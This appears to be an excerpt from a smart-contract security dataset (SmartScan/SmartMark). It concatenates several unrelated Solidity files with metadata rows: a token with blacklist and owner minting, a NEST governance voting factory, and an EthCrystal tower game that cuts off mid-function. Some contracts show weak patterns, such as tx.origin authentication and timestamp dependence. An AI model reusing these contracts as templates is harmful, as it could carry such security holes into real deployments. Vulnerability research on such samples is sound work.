secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf;
secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf);
// Month
uint secondsInMonth;
for (i = 1; i <= 12; i++) {
secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year);
if (secondsInMonth + secondsAccountedFor > timestamp) {
dt.month = i;
break;
}
secondsAccountedFor += secondsInMonth;
}
// Day
for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) {
if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.day = i;
break;
}
secondsAccountedFor += DAY_IN_SECONDS;
}
// Hour
dt.hour = 0;//getHour(timestamp);
// Minute
dt.minute = 0;//getMinute(timestamp);
// Second
dt.second = 0;//getSecond(timestamp);
// Day of week.
dt.weekday = 0;//getWeekday(timestamp);
}
function getYear(uint timestamp) public pure returns (uint16) {
uint secondsAccountedFor = 0;
uint16 year;
uint numLeapYears;
// Year
year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS);
numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears;
secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears);
while (secondsAccountedFor > timestamp) {
if (isLeapYear(uint16(year - 1))) {
secondsAccountedFor -= LEAP_YEAR_IN_SECONDS;
}
else {
secondsAccountedFor -= YEAR_IN_SECONDS;
}
year -= 1;
}
return year;
}
function getMonth(uint timestamp) public pure returns (uint8) {
return parseTimestamp(timestamp).month;
}
function getDay(uint timestamp) public pure returns (uint8) {
return parseTimestamp(timestamp).day;
}
function getHour(uint timestamp) public pure returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getMinute(uint timestamp) public pure returns (uint8) {
return uint8((timestamp / 60) % 60);
}
function getSecond(uint timestamp) public pure returns (uint8) {
return uint8(timestamp % 60);
}
function toTimestamp(uint16 year, uint8 month, uint8 day) public pure returns (uint timestamp) {
return toTimestamp(year, month, day, 0, 0, 0);
}
function toDay(uint256 timestamp) internal pure returns (uint256) {
MyDateTime memory d = parseTimestamp(timestamp);
return uint256(d.year) * 10000 + uint256(d.month) * 100 + uint256(d.day);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) public pure returns (uint timestamp) {
uint16 i;
// Year
for (i = ORIGIN_YEAR; i < year; i++) {
if (isLeapYear(i)) {
timestamp += LEAP_YEAR_IN_SECONDS;
}
else {
timestamp += YEAR_IN_SECONDS;
}
}
// Month
uint8[12] memory monthDayCounts;
monthDayCounts[0] = 31;
if (isLeapYear(year)) {
monthDayCounts[1] = 29;
}
else {
monthDayCounts[1] = 28;
}
monthDayCounts[2] = 31;
monthDayCounts[3] = 30;
monthDayCounts[4] = 31;
monthDayCounts[5] = 30;
monthDayCounts[6] = 31;
monthDayCounts[7] = 31;
monthDayCounts[8] = 30;
monthDayCounts[9] = 31;
monthDayCounts[10] = 30;
monthDayCounts[11] = 31;
for (i = 1; i < month; i++) {
timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1];
}
// Day
timestamp += DAY_IN_SECONDS * (day - 1);
// Hour
timestamp += HOUR_IN_SECONDS * (hour);
// Minute
timestamp += MINUTE_IN_SECONDS * (minute);
// Second
timestamp += second;
return timestamp;
}
}
contract Controlled{
address public owner;
address public operator;
mapping (address => bool) public blackList;
constructor() public {
owner = msg.sender;
operator = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyOperator() {
require(msg.sender == operator || msg.sender == owner);
_;
}
modifier isNotBlack(address _addr) {
require(blackList[_addr] == false);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
owner = _newOwner;
}
function transferOperator(address _newOperator) public onlyOwner {
require(_newOperator != address(0));
operator = _newOperator;
}
function addBlackList(address _blackAddr) public onlyOperator {
blackList[_blackAddr] = true;
}
function removeBlackList(address _blackAddr) public onlyOperator {
delete blackList[_blackAddr];
}
}
contract TokenERC20 is Controlled{
using SafeMath for uint;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This generates a public event on the blockchain that will notify clients
event Burn(address indexed burner, uint256 value);
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public isNotBlack(msg.sender) returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public isNotBlack(msg.sender) returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public isNotBlack(msg.sender) returns (bool success) {
require(_value <= balanceOf[msg.sender]); // Check balance
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function burn(uint256 _value) public returns (bool) {
require(_value > 0);
require(_value <= balanceOf[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balanceOf[burner] = balanceOf[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
return true;
}
}
contract FrozenableToken is TokenERC20{
using SafeMath for uint;
using DateTime for uint256;
uint256 public totalFrozen;
struct UnfreezeRecord {
address to;
uint256 amount; // release amount
uint256 unfreezeTime;
}
mapping (uint256 => UnfreezeRecord) public unfreezeRecords;
event Unfreeze(address indexed receiver, uint256 value, uint256 unfreezeTime);
function unfreeze(address _receiver, uint256 _value) public onlyOwner returns (bool) {
require(_value > 0);
require(_value <= totalFrozen);
balanceOf[owner] = balanceOf[owner].add(_value);
totalFrozen = totalFrozen.sub(_value);
totalSupply = totalSupply.add(_value);
uint256 timestamp = block.timestamp;
uint256 releasedDay = timestamp.toDay();
_transfer(owner,_receiver,_value);
unfreezeRecords[releasedDay] = UnfreezeRecord(_receiver, _value, timestamp);
emit Unfreeze(_receiver, _value, timestamp);
return true;
}
}
contract CasinoTkoen is FrozenableToken{
constructor() public {
name = 'CasinoToken'; // Set the name for display purposes
symbol = 'CT'; // Set the symbol for display purposes
decimals = 18;
totalFrozen = 100000000 * 10 ** uint256(decimals);
totalSupply = 0;
balanceOf[msg.sender] = 0;
}
}
| 186,536 | 10,585 |
ed9b2f7e16401345c8578b58083464a9fd83f54b0d37038b5dfb2425f8693b5c
| 21,113 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0xedb18556136e7edd3c9f2043606ff8ad9d2dbe65.sol
| 5,058 | 20,368 |
pragma solidity 0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Nest_3_VoteFactory {
using SafeMath for uint256;
uint256 _limitTime = 7 days; // Vote duration
uint256 _NNLimitTime = 1 days; // NestNode raising time NestNode
uint256 _circulationProportion = 51; // Proportion of votes to pass
uint256 _NNUsedCreate = 10; // The minimum number of NNs to create a voting contract NN
uint256 _NNCreateLimit = 100; // The minimum number of NNs needed to start voting NN
uint256 _emergencyTime = 0; // The emergency state start time
uint256 _emergencyTimeLimit = 3 days; // The emergency state duration
uint256 _emergencyNNAmount = 1000; // The number of NNs required to switch the emergency statenn
ERC20 _NNToken; // NestNode TokenTokenNestNode
ERC20 _nestToken; // NestToken
mapping(string => address) _contractAddress; // Voting contract mapping
mapping(address => bool) _modifyAuthority; // Modify permissions
mapping(address => address) _myVote; // Personal voting address
mapping(address => uint256) _emergencyPerson; // Emergency state personal voting number
mapping(address => bool) _contractData; // Voting contract data
bool _stateOfEmergency = false; // Emergency state
address _destructionAddress; // Destroy contract address
event ContractAddress(address contractAddress);
constructor () public {
_modifyAuthority[address(msg.sender)] = true;
}
function changeMapping() public onlyOwner {
_NNToken = ERC20(checkAddress("nestNode"));
_destructionAddress = address(checkAddress("nest.v3.destruction"));
_nestToken = ERC20(address(checkAddress("nest")));
}
function createVote(address implementContract, uint256 nestNodeAmount) public {
require(address(tx.origin) == address(msg.sender), "It can't be a contract");
require(nestNodeAmount >= _NNUsedCreate);
Nest_3_VoteContract newContract = new Nest_3_VoteContract(implementContract, _stateOfEmergency, nestNodeAmount);
require(_NNToken.transferFrom(address(tx.origin), address(newContract), nestNodeAmount), "Authorization transfer failed");
_contractData[address(newContract)] = true;
emit ContractAddress(address(newContract));
}
function nestVote(address contractAddress) public {
require(address(msg.sender) == address(tx.origin), "It can't be a contract");
require(_contractData[contractAddress], "It's not a voting contract");
require(!checkVoteNow(address(msg.sender)));
Nest_3_VoteContract newContract = Nest_3_VoteContract(contractAddress);
newContract.nestVote();
_myVote[address(tx.origin)] = contractAddress;
}
function nestNodeVote(address contractAddress, uint256 NNAmount) public {
require(address(msg.sender) == address(tx.origin), "It can't be a contract");
require(_contractData[contractAddress], "It's not a voting contract");
Nest_3_VoteContract newContract = Nest_3_VoteContract(contractAddress);
require(_NNToken.transferFrom(address(tx.origin), address(newContract), NNAmount), "Authorization transfer failed");
newContract.nestNodeVote(NNAmount);
}
function startChange(address contractAddress) public {
require(address(msg.sender) == address(tx.origin), "It can't be a contract");
require(_contractData[contractAddress], "It's not a voting contract");
Nest_3_VoteContract newContract = Nest_3_VoteContract(contractAddress);
require(_stateOfEmergency == newContract.checkStateOfEmergency());
addSuperManPrivate(address(newContract));
newContract.startChange();
deleteSuperManPrivate(address(newContract));
}
function sendNestNodeForStateOfEmergency(uint256 amount) public {
require(_NNToken.transferFrom(address(tx.origin), address(this), amount));
_emergencyPerson[address(tx.origin)] = _emergencyPerson[address(tx.origin)].add(amount);
}
function turnOutNestNodeForStateOfEmergency() public {
require(_emergencyPerson[address(tx.origin)] > 0);
require(_NNToken.transfer(address(tx.origin), _emergencyPerson[address(tx.origin)]));
_emergencyPerson[address(tx.origin)] = 0;
uint256 nestAmount = _nestToken.balanceOf(address(this));
require(_nestToken.transfer(address(_destructionAddress), nestAmount));
}
function changeStateOfEmergency() public {
if (_stateOfEmergency) {
require(now > _emergencyTime.add(_emergencyTimeLimit));
_stateOfEmergency = false;
_emergencyTime = 0;
} else {
require(_emergencyPerson[address(msg.sender)] > 0);
require(_NNToken.balanceOf(address(this)) >= _emergencyNNAmount);
_stateOfEmergency = true;
_emergencyTime = now;
}
}
function checkVoteNow(address user) public view returns (bool) {
if (_myVote[user] == address(0x0)) {
return false;
} else {
Nest_3_VoteContract vote = Nest_3_VoteContract(_myVote[user]);
if (vote.checkContractEffective() || vote.checkPersonalAmount(user) == 0) {
return false;
}
return true;
}
}
function checkMyVote(address user) public view returns (address) {
return _myVote[user];
}
function checkLimitTime() public view returns (uint256) {
return _limitTime;
}
function checkNNLimitTime() public view returns (uint256) {
return _NNLimitTime;
}
function checkCirculationProportion() public view returns (uint256) {
return _circulationProportion;
}
function checkNNUsedCreate() public view returns (uint256) {
return _NNUsedCreate;
}
function checkNNCreateLimit() public view returns (uint256) {
return _NNCreateLimit;
}
function checkStateOfEmergency() public view returns (bool) {
return _stateOfEmergency;
}
function checkEmergencyTime() public view returns (uint256) {
return _emergencyTime;
}
function checkEmergencyTimeLimit() public view returns (uint256) {
return _emergencyTimeLimit;
}
function checkEmergencyPerson(address user) public view returns (uint256) {
return _emergencyPerson[user];
}
function checkEmergencyNNAmount() public view returns (uint256) {
return _emergencyNNAmount;
}
function checkContractData(address contractAddress) public view returns (bool) {
return _contractData[contractAddress];
}
function changeLimitTime(uint256 num) public onlyOwner {
require(num > 0, "Parameter needs to be greater than 0");
_limitTime = num;
}
function changeNNLimitTime(uint256 num) public onlyOwner {
require(num > 0, "Parameter needs to be greater than 0");
_NNLimitTime = num;
}
function changeCirculationProportion(uint256 num) public onlyOwner {
require(num > 0, "Parameter needs to be greater than 0");
_circulationProportion = num;
}
function changeNNUsedCreate(uint256 num) public onlyOwner {
_NNUsedCreate = num;
}
function checkNNCreateLimit(uint256 num) public onlyOwner {
_NNCreateLimit = num;
}
function changeEmergencyTimeLimit(uint256 num) public onlyOwner {
require(num > 0);
_emergencyTimeLimit = num.mul(1 days);
}
function changeEmergencyNNAmount(uint256 num) public onlyOwner {
require(num > 0);
_emergencyNNAmount = num;
}
function checkAddress(string memory name) public view returns (address contractAddress) {
return _contractAddress[name];
}
function addContractAddress(string memory name, address contractAddress) public onlyOwner {
_contractAddress[name] = contractAddress;
}
function addSuperMan(address superMan) public onlyOwner {
_modifyAuthority[superMan] = true;
}
function addSuperManPrivate(address superMan) private {
_modifyAuthority[superMan] = true;
}
function deleteSuperMan(address superMan) public onlyOwner {
_modifyAuthority[superMan] = false;
}
function deleteSuperManPrivate(address superMan) private {
_modifyAuthority[superMan] = false;
}
function deleteContractData(address contractAddress) public onlyOwner {
_contractData[contractAddress] = false;
}
function checkOwners(address man) public view returns (bool) {
return _modifyAuthority[man];
}
modifier onlyOwner() {
require(checkOwners(msg.sender), "No authority");
_;
}
}
contract Nest_3_VoteContract {
using SafeMath for uint256;
Nest_3_Implement _implementContract; // Executable contract
Nest_3_TokenSave _tokenSave; // Lock-up contract
Nest_3_VoteFactory _voteFactory; // Voting factory contract
Nest_3_TokenAbonus _tokenAbonus; // Bonus logic contract
ERC20 _nestToken; // NestToken
ERC20 _NNToken; // NestNode Token
address _miningSave; // Mining pool contract
address _implementAddress; // Executable contract address
address _destructionAddress; // Destruction contract address
uint256 _createTime; // Creation time
uint256 _endTime; // End time
uint256 _totalAmount; // Total votes
uint256 _circulation; // Passed votes
uint256 _destroyedNest; // Destroyed NEST
uint256 _NNLimitTime; // NestNode raising time
uint256 _NNCreateLimit; // Minimum number of NNs to create votes
uint256 _abonusTimes; // Period number of used snapshot in emergency state
uint256 _allNNAmount; // Total number of NNs
bool _effective = false; // Whether vote is effective
bool _nestVote = false; // Whether NEST vote can be performed
bool _isChange = false; // Whether NEST vote is executed
bool _stateOfEmergency; // Whether the contract is in emergency state
mapping(address => uint256) _personalAmount; // Number of personal votes
mapping(address => uint256) _personalNNAmount; // Number of NN personal votes
constructor (address contractAddress, bool stateOfEmergency, uint256 NNAmount) public {
Nest_3_VoteFactory voteFactory = Nest_3_VoteFactory(address(msg.sender));
_voteFactory = voteFactory;
_nestToken = ERC20(voteFactory.checkAddress("nest"));
_NNToken = ERC20(voteFactory.checkAddress("nestNode"));
_implementContract = Nest_3_Implement(address(contractAddress));
_implementAddress = address(contractAddress);
_destructionAddress = address(voteFactory.checkAddress("nest.v3.destruction"));
_personalNNAmount[address(tx.origin)] = NNAmount;
_allNNAmount = NNAmount;
_createTime = now;
_endTime = _createTime.add(voteFactory.checkLimitTime());
_NNLimitTime = voteFactory.checkNNLimitTime();
_NNCreateLimit = voteFactory.checkNNCreateLimit();
_stateOfEmergency = stateOfEmergency;
if (stateOfEmergency) {
_tokenAbonus = Nest_3_TokenAbonus(voteFactory.checkAddress("nest.v3.tokenAbonus"));
_abonusTimes = _tokenAbonus.checkTimes().sub(2);
require(_abonusTimes > 0);
_circulation = _tokenAbonus.checkTokenAllValueHistory(address(_nestToken),_abonusTimes).mul(voteFactory.checkCirculationProportion()).div(100);
} else {
_miningSave = address(voteFactory.checkAddress("nest.v3.miningSave"));
_tokenSave = Nest_3_TokenSave(voteFactory.checkAddress("nest.v3.tokenSave"));
_circulation = (uint256(10000000000 ether).sub(_nestToken.balanceOf(address(_miningSave))).sub(_nestToken.balanceOf(address(_destructionAddress)))).mul(voteFactory.checkCirculationProportion()).div(100);
}
if (_allNNAmount >= _NNCreateLimit) {
_nestVote = true;
}
}
function nestVote() public onlyFactory {
require(now <= _endTime, "Voting time exceeded");
require(!_effective, "Vote in force");
require(_nestVote);
require(_personalAmount[address(tx.origin)] == 0, "Have voted");
uint256 amount;
if (_stateOfEmergency) {
amount = _tokenAbonus.checkTokenSelfHistory(address(_nestToken),_abonusTimes, address(tx.origin));
} else {
amount = _tokenSave.checkAmount(address(tx.origin), address(_nestToken));
}
_personalAmount[address(tx.origin)] = amount;
_totalAmount = _totalAmount.add(amount);
ifEffective();
}
function nestVoteCancel() public {
require(address(msg.sender) == address(tx.origin), "It can't be a contract");
require(now <= _endTime, "Voting time exceeded");
require(!_effective, "Vote in force");
require(_personalAmount[address(tx.origin)] > 0, "No vote");
_totalAmount = _totalAmount.sub(_personalAmount[address(tx.origin)]);
_personalAmount[address(tx.origin)] = 0;
}
function nestNodeVote(uint256 NNAmount) public onlyFactory {
require(now <= _createTime.add(_NNLimitTime), "Voting time exceeded");
require(!_nestVote);
_personalNNAmount[address(tx.origin)] = _personalNNAmount[address(tx.origin)].add(NNAmount);
_allNNAmount = _allNNAmount.add(NNAmount);
if (_allNNAmount >= _NNCreateLimit) {
_nestVote = true;
}
}
function turnOutNestNode() public {
if (_nestVote) {
if (!_stateOfEmergency || !_effective) {
require(now > _endTime, "Vote unenforceable");
}
} else {
require(now > _createTime.add(_NNLimitTime));
}
require(_personalNNAmount[address(tx.origin)] > 0);
require(_NNToken.transfer(address(tx.origin), _personalNNAmount[address(tx.origin)]));
_personalNNAmount[address(tx.origin)] = 0;
uint256 nestAmount = _nestToken.balanceOf(address(this));
_destroyedNest = _destroyedNest.add(nestAmount);
require(_nestToken.transfer(address(_destructionAddress), nestAmount));
}
function startChange() public onlyFactory {
require(!_isChange);
_isChange = true;
if (_stateOfEmergency) {
require(_effective, "Vote unenforceable");
} else {
require(_effective && now > _endTime, "Vote unenforceable");
}
_voteFactory.addSuperMan(address(_implementContract));
_implementContract.doit();
_voteFactory.deleteSuperMan(address(_implementContract));
}
function ifEffective() private {
if (_totalAmount >= _circulation) {
_effective = true;
}
}
function checkContractEffective() public view returns (bool) {
if (_effective || now > _endTime) {
return true;
}
return false;
}
function checkImplementAddress() public view returns (address) {
return _implementAddress;
}
function checkCreateTime() public view returns (uint256) {
return _createTime;
}
function checkEndTime() public view returns (uint256) {
return _endTime;
}
function checkTotalAmount() public view returns (uint256) {
return _totalAmount;
}
function checkCirculation() public view returns (uint256) {
return _circulation;
}
function checkPersonalAmount(address user) public view returns (uint256) {
return _personalAmount[user];
}
function checkDestroyedNest() public view returns (uint256) {
return _destroyedNest;
}
function checkEffective() public view returns (bool) {
return _effective;
}
function checkStateOfEmergency() public view returns (bool) {
return _stateOfEmergency;
}
function checkNNLimitTime() public view returns (uint256) {
return _NNLimitTime;
}
function checkNNCreateLimit() public view returns (uint256) {
return _NNCreateLimit;
}
function checkAbonusTimes() public view returns (uint256) {
return _abonusTimes;
}
function checkPersonalNNAmount(address user) public view returns (uint256) {
return _personalNNAmount[address(user)];
}
function checkAllNNAmount() public view returns (uint256) {
return _allNNAmount;
}
function checkNestVote() public view returns (bool) {
return _nestVote;
}
function checkIsChange() public view returns (bool) {
return _isChange;
}
modifier onlyFactory() {
require(address(_voteFactory) == address(msg.sender), "No authority");
_;
}
}
interface Nest_3_Implement {
function doit() external;
}
interface Nest_3_TokenSave {
function checkAmount(address sender, address token) external view returns (uint256);
}
interface Nest_3_TokenAbonus {
function checkTokenAllValueHistory(address token, uint256 times) external view returns (uint256);
function checkTokenSelfHistory(address token, uint256 times, address user) external view returns (uint256);
function checkTimes() external view returns (uint256);
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
| 275,394 | 10,586 |
8c9157276d0c12e164957a09975a0660dced20af62638edf5c93029e8f426f88
| 19,587 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.6/0x37d9033151eaf64cea6b7531ee0e4fd6f6f9d6d0.sol
| 4,412 | 14,895 |
pragma solidity ^0.4.25;
contract EthCrystal
{
using SafeMath for *;
// Tower Type details
struct TowersInfoList {
string name; // Tower name
uint256 timeLimit; // Maximum time increasement
uint256 warriorToTime; // Amount of seconds each warrior adds
uint256 currentRoundID; // Current Round ID
uint256 growthCoefficient; // Each warrior being bought increases the price of the next warrior.
uint256 winnerShare; // % to winner after the round [Active Fond]
uint256 nextRound; // % to next round pot
uint256 dividendShare; // % as dividends to holders after the round
mapping (uint256 => TowersInfo) RoundList; // Here the Rounds for each Tower are stored
}
// Round details
struct TowersInfo {
uint256 roundID; // The Current Round ID
uint256 towerBalance; // Balance for distribution in the end
uint256 totalBalance; // Total balance with referrer or dev %
uint256 totalWarriors; // Total warriors being bought
uint256 timeToFinish; // The time when the round will be finished
uint256 timeLimit; // The maximum increasement
uint256 warriorToTime; // Amount of seconds each warrior adds
uint256 bonusPot; // % of tower balance from the previous round
address lastPlayer; // The last player bought warriors
}
// Player Details
struct PlayerInfo {
uint256 playerID; // Player's Unique Identifier
address playerAddress; // Player's Ethereum Address
address referralAddress; // Store the Ethereum Address of the referrer
string nickname; // Player's Nickname
mapping (uint256 => TowersRoundInfo) TowersList;
}
struct TowersRoundInfo {
uint256 _TowerType;
mapping (uint256 => PlayerRoundInfo) RoundList;
}
// All player's warriors for a particular Round
struct PlayerRoundInfo {
uint256 warriors;
uint256 cashedOut; // To Allow cashing out before the game finished
}
// In-Game balance (Returnings + Referral Payings)
struct ReferralInfo {
uint256 balance;
}
uint256 public playerID_counter = 1; // The Unique Identifier for the next created player
uint256 public devShare = 5; // % to devs
uint256 public affShare = 10; // bounty % to reffers
mapping (address => PlayerInfo) public players; // Storage for players
mapping (uint256 => PlayerInfo) public playersByID; // Duplicate of the storage for players
mapping (address => ReferralInfo) public aff; // Storage for player refferal and returnings balances.
mapping (uint256 => TowersInfoList) public GameRounds; // Storage for Tower Rounds
address public ownerAddress; // The address of the contract creator
event BuyEvent(address player, uint256 TowerID, uint256 RoundID, uint256 TotalWarriors, uint256 WarriorPrice, uint256 TimeLeft);
constructor() public {
ownerAddress = msg.sender; // Setting the address of the contact creator
// Creating Tower Types
GameRounds[0] = TowersInfoList("Crystal Tower", 60*60*3, 60*3, 0, 10000000000000, 35, 15, 50);
GameRounds[1] = TowersInfoList("Red Tower", 60*60*3, 60*3, 0, 20000000000000, 25, 5, 70);
GameRounds[2] = TowersInfoList("Gold Tower", 60*60*3, 60*3, 0, 250000000000000, 40, 10, 50);
GameRounds[3] = TowersInfoList("Purple Tower", 60*60*6, 60*3, 0, 5000000000000000, 30, 10, 60);
GameRounds[4] = TowersInfoList("Silver Tower", 60*60*6, 60*3, 0, 1000000000000000, 35, 15, 50);
GameRounds[5] = TowersInfoList("Black Tower", 60*60*6, 60*3, 0, 1000000000000000, 65, 10, 25);
GameRounds[6] = TowersInfoList("Toxic Tower", 60*60*6, 60*3, 0, 2000000000000000, 65, 10, 25);
// Creating first Rounds for each Tower Type
newRound(0);
newRound(1);
newRound(2);
newRound(3);
newRound(4);
newRound(5);
newRound(6);
}
function newRound (uint256 _TowerType) private {
GameRounds[_TowerType].currentRoundID++;
GameRounds[_TowerType].RoundList[GameRounds[_TowerType].currentRoundID] = TowersInfo(GameRounds[_TowerType].currentRoundID, 0, 0, 0, now+GameRounds[_TowerType].timeLimit, GameRounds[_TowerType].timeLimit, GameRounds[_TowerType].warriorToTime,
GameRounds[_TowerType].RoundList[GameRounds[_TowerType].currentRoundID-1].towerBalance*GameRounds[_TowerType].nextRound/100, // Moving nextRound% of the finished round balance to the next round
0x0); // New round
}
function buyWarriors (uint256 _TowerType, uint _WarriorsAmount, uint256 _referralID) public payable {
require (msg.value > 10000000); // To prevent % abusing
require (_WarriorsAmount >= 1 && _WarriorsAmount < 1000000000); // The limitation of the amount of warriors being bought in 1 time
require (GameRounds[_TowerType].timeLimit > 0); // Checking if the _TowerType exists
if (players[msg.sender].playerID == 0){ // this is the new player
if (_referralID > 0 && _referralID != players[msg.sender].playerID && _referralID == playersByID[_referralID].playerID){
setNickname("", playersByID[_referralID].playerAddress); // Creating a new player...
}else{
setNickname("", ownerAddress);
}
}
if (GameRounds[_TowerType].RoundList[GameRounds[_TowerType].currentRoundID].timeToFinish < now){
// The game was ended. Starting the new game...
// Sending pot to the winner
aff[GameRounds[_TowerType].RoundList[GameRounds[_TowerType].currentRoundID].lastPlayer].balance += GameRounds[_TowerType].RoundList[GameRounds[_TowerType].currentRoundID].towerBalance*GameRounds[_TowerType].winnerShare/100;
// Sending the bonus pot to the winner
aff[GameRounds[_TowerType].RoundList[GameRounds[_TowerType].currentRoundID].lastPlayer].balance += GameRounds[_TowerType].RoundList[GameRounds[_TowerType].currentRoundID].bonusPot;
newRound(_TowerType);
//Event Winner and the new round
//return;
}
// Getting the price of the current warrior
uint256 _totalWarriors = GameRounds[_TowerType].RoundList[GameRounds[_TowerType].currentRoundID].totalWarriors;
uint256 _warriorPrice = (_totalWarriors+1)*GameRounds[_TowerType].growthCoefficient; // Warrior Price
uint256 _value = (_WarriorsAmount*_warriorPrice)+(((_WarriorsAmount-1)*(_WarriorsAmount-1)+_WarriorsAmount-1)/2)*GameRounds[_TowerType].growthCoefficient;
require (msg.value >= _value); // Player pays enough
uint256 _ethToTake = affShare+devShare; // 15%
players[msg.sender].TowersList[_TowerType].RoundList[GameRounds[_TowerType].currentRoundID].warriors += _WarriorsAmount;
if (players[players[msg.sender].referralAddress].playerID > 0 && players[msg.sender].referralAddress != ownerAddress){
// To referrer and devs. In this case, referrer gets 10%, devs get 5%
aff[players[msg.sender].referralAddress].balance += _value*affShare/100; // 10%
aff[ownerAddress].balance += _value*devShare/100; // 5%
} else {
// To devs only. In this case, devs get 10%
_ethToTake = affShare;
aff[ownerAddress].balance += _value*_ethToTake/100; // 10%
}
if (msg.value-_value > 0){
aff[msg.sender].balance += msg.value-_value; // Returning to player the rest of eth
}
GameRounds[_TowerType].RoundList[GameRounds[_TowerType].currentRoundID].towerBalance += _value*(100-_ethToTake)/100; // 10-15%
GameRounds[_TowerType].RoundList[GameRounds[_TowerType].currentRoundID].totalBalance += _value;
GameRounds[_TowerType].RoundList[GameRounds[_TowerType].currentRoundID].totalWarriors += _WarriorsAmount;
GameRounds[_TowerType].RoundList[GameRounds[_TowerType].currentRoundID].lastPlayer = msg.sender;
// Timer increasement
GameRounds[_TowerType].RoundList[GameRounds[_TowerType].currentRoundID].timeToFinish += (_WarriorsAmount).mul(GameRounds[_TowerType].RoundList[GameRounds[_TowerType].currentRoundID].warriorToTime);
// if the finish time is longer than the finish
if (GameRounds[_TowerType].RoundList[GameRounds[_TowerType].currentRoundID].timeToFinish > now+GameRounds[_TowerType].RoundList[GameRounds[_TowerType].currentRoundID].timeLimit){
GameRounds[_TowerType].RoundList[GameRounds[_TowerType].currentRoundID].timeToFinish = now+GameRounds[_TowerType].RoundList[GameRounds[_TowerType].currentRoundID].timeLimit;
}
uint256 TotalWarriors = GameRounds[_TowerType].RoundList[GameRounds[_TowerType].currentRoundID].totalWarriors;
uint256 TimeLeft = GameRounds[_TowerType].RoundList[GameRounds[_TowerType].currentRoundID].timeToFinish;
// Event about the new potential winner and some Tower Details
emit BuyEvent(msg.sender,
_TowerType,
GameRounds[_TowerType].currentRoundID,
TotalWarriors,
(TotalWarriors+1)*GameRounds[_TowerType].growthCoefficient,
TimeLeft);
return;
}
function dividendCashout (uint256 _TowerType, uint256 _RoundID) public {
require (GameRounds[_TowerType].timeLimit > 0);
uint256 _warriors = players[msg.sender].TowersList[_TowerType].RoundList[_RoundID].warriors;
require (_warriors > 0);
uint256 _totalEarned = _warriors*GameRounds[_TowerType].RoundList[_RoundID].towerBalance*GameRounds[_TowerType].dividendShare/GameRounds[_TowerType].RoundList[_RoundID].totalWarriors/100;
